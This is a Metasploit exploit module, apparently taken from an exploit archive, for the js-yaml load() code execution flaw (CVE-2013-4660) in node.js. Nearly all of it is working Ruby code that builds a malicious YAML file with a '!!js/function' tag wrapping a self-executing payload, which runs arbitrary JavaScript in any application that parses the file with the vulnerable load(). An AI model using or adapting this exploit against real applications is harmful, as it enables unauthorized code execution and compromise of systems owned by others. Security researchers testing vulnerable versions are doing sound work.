Nodejs js-yaml load() Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Nodejs js-yaml load() Code Exec',  
'Description' => %q{  
For node.js applications that parse user-supplied YAML input using the  
load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing  
function allows us to execute arbitrary javascript code.  
},  
'Author' => ['joev <jvennix[at]rapid7.com>'],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-4660'],  
['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']  
],  
'Platform' => 'nodejs',  
'Arch' => ARCH_NODEJS,  
'Privileged' => false,  
'Targets' => [['Automatic', {}]],  
'DisclosureDate' => 'Jun 28 2013',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])  
], self.class)  
end  
  
def exploit  
p = payload.encoded  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create("a: !!js/function >\n (function(){ #{p} })();")  
end  
end  
`